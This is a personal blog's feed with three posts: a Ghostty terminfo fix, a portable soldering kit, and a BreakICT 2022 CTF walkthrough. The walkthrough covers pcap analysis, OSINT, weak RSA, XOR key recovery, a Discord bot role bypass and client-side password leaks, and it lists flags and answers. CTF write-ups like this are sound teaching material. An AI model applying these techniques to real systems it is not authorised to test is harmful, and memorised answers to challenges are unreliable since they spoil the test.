<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="http://rufflabs.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="http://rufflabs.github.io/" rel="alternate" type="text/html" /><updated>2025-09-10T04:07:27+00:00</updated><id>http://rufflabs.github.io/feed.xml</id><title type="html">rufflabs</title><subtitle>My personal blog.</subtitle><author><name>Jason Taylor</name></author><entry><title type="html">Fixing keybindings with Ghostty and remote Linux hosts</title><link href="http://rufflabs.github.io/post/ghostty-terminfo/" rel="alternate" type="text/html" title="Fixing keybindings with Ghostty and remote Linux hosts" /><published>2025-09-09T00:00:00+00:00</published><updated>2025-09-09T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/ghostty-terminfo</id><content type="html" xml:base="http://rufflabs.github.io/post/ghostty-terminfo/"><![CDATA[<p>I’ve recently switched to Ghostty for my primary terminal on macOS and have ran into the issue of missing xterminfo definitions when SSH’ing to remote Linux systems. The following commands copies over the working xterminfo to the remote system. In particular, I often run into this with Kali Linux.</p>

<p>First install the xterminfo to the Kali user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>infocmp -x | ssh kali@10.2.10.99 -- tic -x -
</code></pre></div></div>

<p>Then remote in as Kali user and run the following to install it systemwide:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>infocmp -x | sudo tic -x -o /usr/share/terminfo -
</code></pre></div></div>

<p>Now the terminal should work as expected!</p>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[I’ve recently switched to Ghostty for my primary terminal on macOS and have ran into the issue of missing xterminfo definitions when SSH’ing to remote Linux systems. The following commands copies over the working xterminfo to the remote system. In particular, I often run into this with Kali Linux.]]></summary></entry><entry><title type="html">Soldering on the Go: Portable Soldering Kit</title><link href="http://rufflabs.github.io/post/mobile-soldering-station/" rel="alternate" type="text/html" title="Soldering on the Go: Portable Soldering Kit" /><published>2025-05-31T00:00:00+00:00</published><updated>2025-05-31T00:00:00+00:00</updated><id>http://rufflabs.github.io/post/mobile-soldering-station</id><content type="html" xml:base="http://rufflabs.github.io/post/mobile-soldering-station/"><![CDATA[<p>Have you ever been out and about and suddenly needed to solder a new resistor on a PCB? Me either, but if the situation ever <em>does</em> come up you can rest assured that I will be ready! Follow along as I showcase my portable soldering kit that has everything I need to perform an impromptu soldering session.</p>

<h2 id="kit-contents">Kit Contents</h2>
<p>My portable soldering kit consists of the following:</p>
<ul>
  <li><a href="https://www.amazon.com/dp/B0D4HTDK4Q">Vocuer pencil case from Amazon</a></li>
  <li><a href="https://omnifixo.com/en-us/products/omnifixo-m4-makers-third-hand">Omnifixo OF-M4</a></li>
  <li><a href="https://www.etsy.com/listing/1568326206/workstation-case-for-pinecil-soldering">Workstation case for Omnifixo and Pinecil</a></li>
  <li><a href="https://pine64.com/product/pinecil-smart-mini-portable-soldering-iron/">Pinecil v2</a></li>
  <li><a href="https://pine64.com/product/usb-type-c-to-usb-type-c-silicone-power-charging-cable-1-5-meter-length/">Pine64 USB-C cable</a></li>
  <li><a href="https://pine64.com/product/pinecil-soldering-tip-set-fine/">Pinecil Soldering Tips</a></li>
  <li><a href="https://www.amazon.com/dp/B0B9XHR6BG">Anker PowerCore 24K</a></li>
  <li><a href="https://www.amazon.com/dp/B002MJMXD4">Engineer SS-02</a></li>
  <li><a href="https://www.amazon.com/dp/B0DB298PWV">Ceramic Tweezers</a></li>
  <li><a href="https://www.amazon.com/dp/B0D2QXRW9K">UGREEN MagSafe phone stand</a></li>
  <li><a href="https://www.amazon.com/dp/B0C9LBZCSK">Spudgers</a></li>
  <li><a href="https://www.amazon.com/YOCTOSUN-Rechargeable-Magnifying-Professional-Interchangeable/dp/B07T4KPYN2/">Magnifying glasses</a></li>
  <li>Cotton swabs</li>
  <li>Some swag eyeglass cleaner bottle</li>
  <li>Husky small philips screwdriver (Plan to upgrade to LTT precision screwdriver)</li>
  <li>Small soldering mat that I don’t remember where it came from</li>
</ul>

<p><img src="/images/posts/soldering-kit/AllItems.jpeg" alt="" /></p>

<h2 id="inventory">Inventory</h2>
<p>Starting off we have the pencil case that contains everything above. I tried out various cases, some hard shell and some soft, but this one ended up having the perfect amount of elastic loops, pockets, and larger zippered areas. It holds everything I need except the power bank. Even then, I am pretty sure if I re-arranged or didn’t use the magnifier glasses I could just shove the bank in the main compartment. 
<img src="/images/posts/soldering-kit/Assembled.jpeg" alt="Vocuer pencil case" /></p>

<p>For my soldering iron I use a Pinecil v2. The first soldering iron I ever used was a Weller that work paid for, and that thing was amazing. Sadly I couldn’t afford that when I wanted a soldering iron at home and went with a cheap knock-off from aliexpress. I never soldered well and didn’t do much. I decided to buy the Pinecil as I needed a new iron and it was very affordable and had great reviews. I love this iron, it’s super easy to use, fast to startup, and extremely portable.</p>

<p><img src="/images/posts/soldering-kit/CaseBottom.jpeg" alt="" /></p>

<p>I coupled the Pinecil with Pine64’s silicon USB-C cable, which makes it resistant to melting in case the iron sets down on it or is briefly touched. This cable feels amazing, it’s super flexible and looks great.</p>

<p>For powering the Pinecil I have an Anker PowerCore 24K. This is a Power Delivery 65 watt power bank that I had originally purchased to power my laptop while traveling. It supplies enough power over USB-C PD to power the iron and lasts for ages. When I’m not on the go I use Pine64’s desktop power supply as my permanent power supply on the workbench.</p>

<p>My workstation while soldering is the Omnifixo OF-M4. This is a beautiful set of helping hands clips that are magnetic and very compact. Bonus points for transferring power via the clips so you can actually power up the baseplate with an alligator clip and turn a device on and off by moving a clip. Check out their website for a demo video of that in action.</p>

<p>When I purchased my Omnifixo it didn’t come with the field case, so I had to hunt for my own. I found the amazing Etsy seller OwlFabricationStore that was selling a Omnifixo and Pinecil case. This case adds a solder spool, aluminium stand, a spot for some cleaning pads or wool, and a place to put everything including the Pinecil. It uses the Omnifixo build plate as the lid. Everything is nicely magnetized securely together. Even with the Omnifixo field box I would still choose this option. Every millimeter of space is well utilized and expertly designed. 
<img src="/images/posts/soldering-kit/OmnifixoWorkstation.jpg" alt="Omnifixo workstation" /></p>

<p>I have two options to help improve my visibility while soldering. First is a pair of magnifying glasses that go on like regular glasses and includes a little light. These are what I usually use, although they are prtty bulky and take up the entire center area of the case. My second option is a MagSafe phone stand that lets me use the Magnifier app on my iPhone for up close work. It takes some getting used to, but is very doable. The MagSafe securely holds the phone in place and the articulating arm lets me move it wherever I need it.</p>

<p><img src="/images/posts/soldering-kit/CaseCenter.jpeg" alt="" /></p>

<p><img src="/images/posts/soldering-kit/iPhone.jpeg" alt="" /></p>

<p>To round out the kit I have a plethora of consumables. Rubbing alcohol is in a tiny little eyeglass spritz bottle I got as swag from some vendor once. It’s smaller than normal and about the size of a marker. It fits perfectly in the loops of the case. I also keep some cotton swabs to help clean off flux and components. Speaking of flux, I have a small flux pen to help add flux when needed to remove or resolder components. I also have a spare set of soldering tips for the Pinecil.</p>

<p><img src="/images/posts/soldering-kit/CaseLeft.jpeg" alt="" /></p>

<p>I have the classic Engineer solder sucker that everyone recommends. I also recommend it. I have had a couple different cheap versions but this one is fantastic. Great build quality and fits perfectly in the case. I also keep a little roll of solder wick that I forgot to take a picture of, it’s tucked away next to the USB-C cable in a little pocket.</p>

<p>For moving components around I have a small plastic spudger that I bought in bulk, and a pair of ceramic tweezers. I kept bending and breaking cheap metal tweezers so decided to go with the ceramic ones as they have replaceable tips if I ever do break them. I haven’t yet, thankfully.</p>

<p><img src="/images/posts/soldering-kit/CaseRight.jpeg" alt="" /></p>

<p>Finally, to remove components so I can get at those pesky PCB’s and to keep components in a semi-safe area, I have a small Husky phillips screwdriver and a small silicon soldering mat with areas to hold and organize screws. I don’t remember where I got the soldering mat. I believe it came with some random component kit or something. There are plenty of options online. I am thinking of grabbing the LTT precision screwdriver to replace the cheap Husky. I am not sure if it will fit though. One day I’ll see and have to update this post as my kit changes.</p>

<h2 id="final-thoughts">Final Thoughts</h2>
<p>While the above “portable kit” implies I have a “non-portable kit” this actually isn’t true. This is my soldering setup. The only difference between me sodlering at a hacker meetup or conference and me soldering at home is that I use the Pine64 desktop power supply to power my Pinecil instead of my Anker powerbank. Other than that, whenever I need to solder I grab this little black pencil case that has literaly everything I need.</p>]]></content><author><name>Jason Taylor</name></author><summary type="html"><![CDATA[Have you ever been out and about and suddenly needed to solder a new resistor on a PCB? Me either, but if the situation ever does come up you can rest assured that I will be ready! Follow along as I showcase my portable soldering kit that has everything I need to perform an impromptu soldering session.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://rufflabs.github.io/images/posts/soldering-kit/Featured.png" /><media:content medium="image" url="http://rufflabs.github.io/images/posts/soldering-kit/Featured.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BreakICT 2022 CTF Walkthrough (Part 2)</title><link href="http://rufflabs.github.io/writeup/ozsec-breakict-2022" rel="alternate" type="text/html" title="BreakICT 2022 CTF Walkthrough (Part 2)" /><published>2023-09-06T00:00:00+00:00</published><updated>2023-09-06T00:00:00+00:00</updated><id>http://rufflabs.github.io/writeup/breakict-2</id><content type="html" xml:base="http://rufflabs.github.io/writeup/ozsec-breakict-2022"><![CDATA[<p>The following challenges were from the <a href="https://ctf.breakict.org">BreakICT CTF</a> for <a href="https://ozsec.org">OzSec 2022</a>, an annual cybersecurity conference in Wichita, KS. This is the final part of my two part series covering the challenges from this CTF.</p>

<h1 id="ping-me-if-we-get-hacced"><strong>Ping me if we get hacced</strong></h1>

<h2 id="challenge-description">Challenge Description</h2>

<p>I’ve got a pcap of a machine that was hacced. After some review, our next gen firewall says the traffic is clean. But that’s a lie, could you take a look and see maybe what data was exfiltrated?</p>

<h2 id="challenge-walkthrough">Challenge Walkthrough</h2>

<p>Opened the packet capture up in Wireshark.</p>

<p><img src="/images/posts/breakict-2022/pcap.png" alt="" /></p>

<p>Since the title of this challenge is “Ping me” I filtered on <code class="language-plaintext highlighter-rouge">icmp</code> packets.</p>

<p>We can see a <code class="language-plaintext highlighter-rouge">whoami</code> command in the first ping packet.</p>

<p><img src="/images/posts/breakict-2022/pcap-icmp.png" alt="" /></p>

<p>Checking further in the chain, we notice an <code class="language-plaintext highlighter-rouge">ls</code> command..</p>

<p><img src="/images/posts/breakict-2022/pcap-ls.png" alt="" /></p>

<p>A <code class="language-plaintext highlighter-rouge">cat</code>…</p>

<p><img src="/images/posts/breakict-2022/pcap-cat.png" alt="" /></p>

<p>And finally the flag itself!</p>

<p><img src="/images/posts/breakict-2022/pcap-flag.png" alt="" /></p>

<ul>
  <li>Points: 100</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{M1_G@r@nd_g0_P!ng}</code></li>
</ul>

<h1 id="do-not-start-early-pls"><strong>Do Not Start early pls</strong></h1>

<h2 id="challenge-description-1">Challenge Description</h2>

<p>There’s a weird domain that showed up on our radar. Could you take a look and see if there’s any information more than what we have?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bruhwhatlmaougothacced.breakict.org
</code></pre></div></div>

<h2 id="challenge-walkthrough-1">Challenge Walkthrough</h2>

<p>Checking DNS on this domain I found a txt record that included the flag.</p>

<p><img src="/images/posts/breakict-2022/dns.png" alt="" /></p>

<ul>
  <li>Points: 100</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{DNS_r3c0rds_but_dns_doesnt_pl4y!}</code></li>
</ul>

<h1 id="coffee-and-carding"><strong>Coffee and Carding</strong></h1>

<h2 id="challenge-description-2">Challenge Description</h2>

<p>One of our sting operations experts retrieved this image from a known cyber criminal. Can you figure out the name of the location the person was at?</p>

<p>FLAG will be OzSecCTF{location_name} - 5 ATTEMPTS</p>

<p>The location name will have no spaces, and is case insensitive</p>

<p><img src="/images/posts/breakict-2022/coffee.png" alt="" /></p>

<h2 id="challenge-walkthrough-2">Challenge Walkthrough</h2>

<p><code class="language-plaintext highlighter-rouge">00:13:37:a9:57:17</code> appears to be a MAC address, and this looks like a wifi pineapple.</p>

<p>I visited wigle.net, entered the MAC into the BSSID field and zoomed out. I saw a single entry.</p>

<p><img src="/images/posts/breakict-2022/wigle-found.png" alt="" /></p>

<p>Zooming in we get a location.</p>

<p><img src="/images/posts/breakict-2022/wigle-zoom.png" alt="" /></p>

<p>Matching up this location in Google Maps I found the cafe.</p>

<p><img src="/images/posts/breakict-2022/wigle-maps.png" alt="" /></p>

<ul>
  <li>Points: 199</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{VagabondCafe}</code></li>
</ul>

<h1 id="classic-web-just-sayin"><strong>Classic web, Just Sayin’</strong></h1>

<h2 id="challenge-description-3">Challenge Description</h2>

<p>Web is funni bc I could literally give you the flag + solve method and you’d still run dirb on the target, wouldn’t you? ;)</p>

<p>https://password-vault-dot-breakict.uc.r.appspot.com/</p>

<h2 id="challenge-walkthrough-3">Challenge Walkthrough</h2>

<p>Loading up the page I see a form input requesting a password, looks like it will reveal the flag if we enter the correct password.</p>

<p><img src="/images/posts/breakict-2022/vault.png" alt="" /></p>

<p>Tried entering ‘asdf’ as a test. That’s not it..</p>

<p><img src="/images/posts/breakict-2022/no.png" alt="" /></p>

<p>Checking source there is a script.js that is loaded. Checking this file we see a password check. The password it’s checking against is right here in cleartext.</p>

<p><img src="/images/posts/breakict-2022/password-check.png" alt="" /></p>

<p>Using the above found password works, as expected.</p>

<p><img src="/images/posts/breakict-2022/flag-found.pngpng" alt="" /></p>

<ul>
  <li>Points: 50</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{cl!3nt_s!d3_dw3ebS!}</code></li>
</ul>

<h1 id="i-got-2-bits"><strong>I got 2 bits</strong></h1>

<h2 id="challenge-description-4">Challenge Description</h2>

<p>Presented to you is a logic diagram, figure out what bits will make the light bulb light up. Careful! you’ve got 3 attempts</p>

<p>IE, if your answer is (top to bottom) 1010 your flag would be OzSecCTF{1010}</p>

<p><img src="/images/posts/breakict-2022/2-bits.png" alt="" /></p>

<h2 id="challenge-walkthrough-4">Challenge Walkthrough</h2>

<p>I had to check the hint on this one, which led to http://www.ee.surrey.ac.uk/Projects/CAL/digital-logic/gatesfunc/index.html where I found a handy chart:</p>

<p><img src="/images/posts/breakict-2022/operators.png" alt="" /></p>

<p>Given that, we have a NOT gateway up top, an AND gate in the middle, and I didn’t see a normal triangle so I will assume it’s the opposite of a NOT gate since it looks the same without the circle symbol.</p>

<p>To generate a 1 on the output of the AND gate and turn the light on we need to feed in a 0 up top which gets turned to a 1, and a 1 on the bottom.</p>

<p>This feeds 1, 1 into the AND gate. 1 and 1 is a 1, which turns on the light.</p>

<ul>
  <li>Points: 100</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{01}</code></li>
</ul>

<h1 id="i-got-4-bits"><strong>I got 4 bits</strong></h1>

<h2 id="challenge-description-5">Challenge Description</h2>

<p>now with 4 bits!</p>

<p>flag will be in format of inputs needed top to bottom, formatted left to right.</p>

<p>ie, if you need top to bottom 1010, the flag is OzSecCTF{1010}</p>

<p><img src="/images/posts/breakict-2022/4-bits.png" alt="" /></p>

<h2 id="challenge-walkthrough-5">Challenge Walkthrough</h2>

<p>This is basically the same as above, with some more complexity thrown in.</p>

<p>We have:</p>

<table>
  <thead>
    <tr>
      <th>NOT</th>
      <th>NOR</th>
      <th>AND</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>NORMAL</td>
      <td> </td>
      <td> </td>
    </tr>
    <tr>
      <td>NOT</td>
      <td>AND</td>
      <td> </td>
    </tr>
    <tr>
      <td>NORMAL</td>
      <td> </td>
      <td> </td>
    </tr>
  </tbody>
</table>

<p>To generate a 1 on the output side of the final AND gate, our inputs end up being:</p>

<p>1, 0 through the NOT and NORMAL into the NOR gate outputs a 1.</p>

<p>0, 1 through the NOT and NORMAL into the AND gate outputs a 1</p>

<p>These two 1’s go into the final AND gate and turn the light on with an output of 1.</p>

<ul>
  <li>Points: 106</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{1001}</code></li>
</ul>

<h1 id="you-get-the-gist-of-it"><strong>You get the GISt of it</strong></h1>

<h2 id="challenge-description-6">Challenge Description</h2>

<p>How much property tax was paid for the Drury plaza hotel in 2021? (special tax + general tax), decimal should be included. Flag is OzSecCTF{amount_no_special_chars_except_for_pennies}</p>

<h2 id="challenge-walkthrough-6">Challenge Walkthrough</h2>

<p>For reference, the Drury Plaza is located in Wichita, KS. The location of this local CTF.</p>

<p>Searching for Sedgwick County Property Tax leads to this state site:</p>

<p><img src="/images/posts/breakict-2022/county-taxes.png" alt="" /></p>

<p>Entering the address of the hotel:</p>

<p><img src="/images/posts/breakict-2022/county-address.png" alt="" /></p>

<p>Clicking on the property link leads to the properties page. From there a transactions tab shows payments.</p>

<p><img src="/images/posts/breakict-2022/county-txn.png" alt="" /></p>

<p>Adding up the General and Specials taxes for the two 2021 transactions gives us our flag.</p>

<ul>
  <li>Points: 150</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{210357.54}</code></li>
</ul>

<h1 id="ask-me-anything">ASk Me anything!</h1>

<h2 id="challenge-description-7">Challenge Description</h2>

<p>Below is a line of ASM code. what is the resulting value stored in EAX after the lines have all run? (INTEL SYNTAX BEST SYNTAX) Flag is OzSecCTF{your_answer} - 3 ATTEMPTS</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov eax, 0
inc eax
mov ebx, 0
inc ebx
inc ebx
imul eax, ebx
xor eax, eax
</code></pre></div></div>

<h2 id="challenge-walkthrough-7">Challenge Walkthrough</h2>

<p>I don’t know assembly, but the final instruction is xor’ing eax by itself. I believe this should be 0, and that was correct:</p>

<ul>
  <li>Points: 15</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{0}</code></li>
</ul>

<h1 id="sanity-check">Sanity check</h1>

<h2 id="challenge-description-8">Challenge Description</h2>

<p>Sanity check!</p>

<p>submit this flag! OzSecCTF{4moguS}</p>

<p>p.s: do NOT ask for a hint on this challenge, you will regret it</p>

<h2 id="challenge-walkthrough-8">Challenge Walkthrough</h2>

<p>Kind of self explanatory…</p>

<ul>
  <li>Points: 15</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{4moguS}</code></li>
</ul>

<h1 id="oh-crap"><strong>Oh CRap</strong></h1>

<h2 id="challenge-description-9">Challenge Description</h2>

<p>A client sent us over a secret to access the application we’re testing for them, but they never learn! they sent it as an image :(</p>

<p>If only there was some technology to convert characters from an image into a recognizable text based format.</p>

<p>hint for this, and future CTF’s everywhere. Look at capitalized characters in the title.</p>

<p><img src="/images/posts/breakict-2022/ocr.png" alt="" /></p>

<h2 id="challenge-walkthrough-9">Challenge Walkthrough</h2>

<p>We have what appears to be a Base64 encoded string within an image. We need to get this into text so that we can base64 decode it.</p>

<p>I don’t have a screenshot of this step, but I used <code class="language-plaintext highlighter-rouge">tesseract-ocr</code> to grab text from the image.</p>

<p>Pasting the results directly into CyberChef to decode we find that some characters don’t quite look right. Possibly some of the OCR was incorrect.</p>

<p><img src="/images/posts/breakict-2022/ocr-result.png" alt="" /></p>

<p>Quickly comparing the image to the text output reveals a few incorrect transcriptions.</p>

<p><img src="/images/posts/breakict-2022/ocr-compare.png" alt="" /></p>

<p>Correcting the incorrect L’s, I’s, and 0’s, we get the flag.</p>

<ul>
  <li>Points: 150</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{Aww_geez_oh_man_look_at_me_i_cant_follow_instructions_N0w_S0m3_1337_sp34k_f0r_3ntr0pY}</code></li>
</ul>

<h1 id="unsolved-during-ctf">Unsolved During CTF</h1>

<p>The following challenges were not solved by me during the CTF.</p>

<h1 id="cybercrime-operations-now-on-discord">cybercrime operations (NOW ON DISCORD!)</h1>

<h2 id="challenge-description-10">Challenge Description</h2>

<p>We’ve got sting operators infiltrating every edgy online chat room we could find. This one presents promise as to holding some secret keys. Can you figure out what secret key is being kept?</p>

<p>https://discord.gg/4phkdWUKUv</p>

<h2 id="challenge-walkthrough-10">Challenge Walkthrough</h2>

<p>Visit the linked Discord server and see that an admin of the server added a bot. This bot has a secret, but will only give it to you if you are a member of an ‘ADMIN’ role.</p>

<p><img src="/images/posts/breakict-2022/discord-bot.png" alt="" /></p>

<p>Enable Developer mode in Discord User Settings &gt; Advanced.</p>

<p><img src="/images/posts/breakict-2022/discord-devel.png" alt="" /></p>

<p>Copy the ID of the bot by right clicking on it and selecting <strong>Copy ID</strong>.</p>

<p><img src="/images/posts/breakict-2022/discord-copy.png" alt="" /></p>

<p>The ID was: <code class="language-plaintext highlighter-rouge">1030181821788454982</code></p>

<p>Searching for adding a bot to a Discord server, we can see an example of the invite link. The <code class="language-plaintext highlighter-rouge">client_id</code> parameter is the Bot’s ID. Create a link using the ID copied.</p>

<p><img src="/images/posts/breakict-2022/discord-add.png" alt="" /></p>

<p><a href="https://discord.com/api/oauth2/authorize?client_id=1030181821788454982&amp;permissions=0&amp;scope=bot%20applications.commands"><code class="language-plaintext highlighter-rouge">https://discord.com/api/oauth2/authorize?client_id=1030181821788454982&amp;permissions=0&amp;scope=bot applications.commands</code></a></p>

<p>Enter this into a browser and login to Discord and you will be presented with this dialog to add the bot to a server you are an admin on.</p>

<p><img src="/images/posts/breakict-2022/discord-add-2.png" alt="" /></p>

<p>Select an appropriate server, give yourself an ADMIN role and ask for the secret!</p>

<p><img src="/images/posts/breakict-2022/discord-added.png" alt="" /></p>

<ul>
  <li>Points: 200</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{Put_ur_clickr_f!ng3r_uP_if_u_r3pr3s3nT_C0mput3r_cr!m3}</code></li>
</ul>

<h1 id="l337h4x0r"><strong>L337H4X0R</strong></h1>

<h2 id="challenge-description-11">Challenge Description</h2>

<p>We’ve obtained a plain text message and it’s corresponding ciphertext after observing communications between threat actors, supposedly they use some type of XOR algorithm to encrypt the messages, can you crack the key?</p>

<p><code class="language-plaintext highlighter-rouge">I commit more crimes than code hehe get ransomd dw3eb → 065a300a0e2e3d325b355f003a621606364c08034c4705520054500b3b35105817041c5d281f274511223a35143554523b3546113d</code></p>

<h2 id="challenge-walkthrough-11">Challenge Walkthrough</h2>

<p>Took quite a bit of googling, but I solved it with the help of this stackoverflow post: <a href="https://stackoverflow.com/questions/62514856/guessing-xor-secret-key-knowing-some-part-of-it">python - Guessing XOR secret key knowing some part of it - Stack Overflow</a></p>

<p><img src="/images/posts/breakict-2022/xor.png" alt="" /></p>

<ul>
  <li>Points: 125</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{X0r_But_!mpl3m3nt3d_P00rly}</code></li>
</ul>

<h1 id="really-sorry-about-this"><strong>Really Sorry About this</strong></h1>

<h2 id="challenge-description-12">Challenge Description</h2>

<p>We’ve identified an RSA public key, can you crack the private key by doing math?</p>

<p><code class="language-plaintext highlighter-rouge">'pub': (e=17, n=926137)</code></p>

<p>FLAG FORMAT WILL BE OzSecCTF{someint} , where someint is the private key.</p>

<h2 id="challenge-walkthrough-12">Challenge Walkthrough</h2>

<p>I definitely had to use the hint on this one, as this was my first exposure to an RSA crypto CTF challenge.</p>

<p>The hint led to http://mathonline.wikidot.com/rsa-encryption</p>

<p>This has the step-by-step instructions for calculating the missing private key from the known <code class="language-plaintext highlighter-rouge">e</code> and <code class="language-plaintext highlighter-rouge">n</code> values.</p>

<p><img src="/images/posts/breakict-2022/rsa.png" alt="" /></p>

<p>We can basically follow along!</p>

<p><strong>Step 1</strong></p>

<p><code class="language-plaintext highlighter-rouge">e = 17</code> and <code class="language-plaintext highlighter-rouge">n = 926137</code></p>

<p><strong>Step 2</strong></p>

<p>I used <a href="http://factordb.com">factordb.com</a> by pasting in <code class="language-plaintext highlighter-rouge">n</code>.</p>

<p><img src="/images/posts/breakict-2022/step2.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">p = 761</code> and <code class="language-plaintext highlighter-rouge">q = 1217</code></p>

<p><strong>Step 3</strong></p>

<p>WolframAlpha to the rescue! I learned that this symbol is phi.</p>

<p><img src="/images/posts/breakict-2022/step3.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">phi = 924160</code></p>

<p><strong>Step 4</strong></p>

<p><code class="language-plaintext highlighter-rouge">17d &lt;weird equals&gt; 1 (mod 924160)</code></p>

<p>Back to WolframAlpha</p>

<p><img src="/images/posts/breakict-2022/step4.png" alt="" /></p>

<p>There’s the flag value.</p>

<ul>
  <li>Points: 125</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{761073}</code></li>
</ul>

<h1 id="too-late-sorry"><strong>Too Late, Sorry!</strong></h1>

<h2 id="challenge-description-13">Challenge Description</h2>

<p>The CEO’s machine got popped! We’re dealing with the recovery process right now, but all we have to give you for information is this pcap. Can you figure out what c2 framework was utilized to hold a shell on this box? FLAG IS OzSecCTF{c2_name}</p>

<p>flag is case INSENSITIVE, 4 ATTEMPTS</p>

<p>free hint: https://www.thec2matrix.com/</p>

<h2 id="challenge-walkthrough-13">Challenge Walkthrough</h2>

<p>Packet capture has TLS traffic on non-standard ports.</p>

<p><img src="/images/posts/breakict-2022/tls-pcap.png" alt="" /></p>

<p>Running <code class="language-plaintext highlighter-rouge">ja3</code> against the pcap we the hashes for the fingerprints of the tls traffic.</p>

<p><img src="/images/posts/breakict-2022/tls-pcap-ja3.png" alt="" /></p>

<p>Find the traffic on non-standard ports.</p>

<p><img src="/images/posts/breakict-2022/tls-nonstd.png" alt="" /></p>

<p>Search for that hash, found the following article:</p>

<p><a href="https://community.netwitness.com/t5/netwitness-community-blog/creating-context-for-better-hunting/bc-p/606387">Creating Context for Better Hunting - NetWitness Community - 606384</a></p>

<p>Mentioned hash <code class="language-plaintext highlighter-rouge">ec74a5c51106f0419184d0dd08fb05bc</code> is for Metasploit on Kali.</p>

<ul>
  <li>Points: 200</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{Metasploit}</code></li>
</ul>

<h1 id="super-slow-radio"><strong>Super Slow! radio</strong></h1>

<h2 id="challenge-description-14">Challenge Description</h2>

<p>I started my own pirate radio station! If you missed my first broadcast, here’s a recording!</p>

<p><a href="https://ctf.breakict.org/files/f126057582927c9afaa64aed0be0902f/SuperSlow.wav">SuperSlow.wav</a></p>

<h2 id="challenge-walkthrough-14">Challenge Walkthrough</h2>

<p>An audio file encoded as a Slow-Scan TV file. SSTV is a method of displaying images over radio waves typically used in ameture radio.</p>

<p>Running <code class="language-plaintext highlighter-rouge">sstv</code> against the file results in the still image, with flag.</p>

<p><img src="/images/posts/breakict-2022/sstv.png" alt="" /></p>

<p><img src="/images/posts/breakict-2022/sstv-result.png" alt="" /></p>

<ul>
  <li>Points: 100</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{4_My_n!x_b00m3rS_0nly!}</code></li>
</ul>

<h1 id="classic-reversing"><strong>classic reversing</strong></h1>

<h2 id="challenge-description-15">Challenge Description</h2>

<p>heres a binary, reverse it!</p>

<h2 id="challenge-walkthrough-15">Challenge Walkthrough</h2>

<p>Checking the binary in Ghidra, I found a <code class="language-plaintext highlighter-rouge">print_flag</code> statement.</p>

<p><img src="/images/posts/breakict-2022/print_flag.png" alt="" /></p>

<p>It appears to be in hex, so I copied and pasted each of those values into CyberChef.</p>

<p><img src="/images/posts/breakict-2022/cyberchef.png" alt="" /></p>

<p>The flag looks reversed, so I reversed it. I then had to piece it back together.</p>

<p><img src="/images/posts/breakict-2022/reversed.png" alt="" /></p>

<p>Final flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{N!c3_w0rk_Bud!}</code></p>

<ul>
  <li>Points: 99</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{N!c3_w0rk_Bud!}</code></li>
</ul>

<h1 id="classic-web-patched"><strong>Classic web, PATCHED</strong></h1>

<h2 id="challenge-description-16">Challenge Description</h2>

<p>I can’t have anything nice, you all just mess everything up. The only thing haccers after 2003 know is break code, web challenge XSS, eat taki’s and lie.</p>

<p>I’ve made an updated site, you’ll never be able to get secrets from this portal</p>

<p>https://classic-web-dot-breakict.uc.r.appspot.com/</p>

<h2 id="challenge-walkthrough-16">Challenge Walkthrough</h2>

<p>Loading the page and checking the Console we see a message saying the flag was loaded.</p>

<p><img src="/images/posts/breakict-2022/flag-loaded.png" alt="" /></p>

<p>After manually running the <code class="language-plaintext highlighter-rouge">get_flag()</code> function:</p>

<p><img src="/images/posts/breakict-2022/get_flag.png" alt="" /></p>

<p>An XHR request appears:</p>

<p><img src="/images/posts/breakict-2022/xhr.png" alt="" /></p>

<p>Loading that URL gets us the flag!</p>

<p><img src="/images/posts/breakict-2022/xhr-flag.png" alt="" /></p>

<ul>
  <li>Points: 200</li>
  <li>Flag: <code class="language-plaintext highlighter-rouge">OzSecCTF{R3vers!ng_succS_I_H@v3_Burp}</code></li>
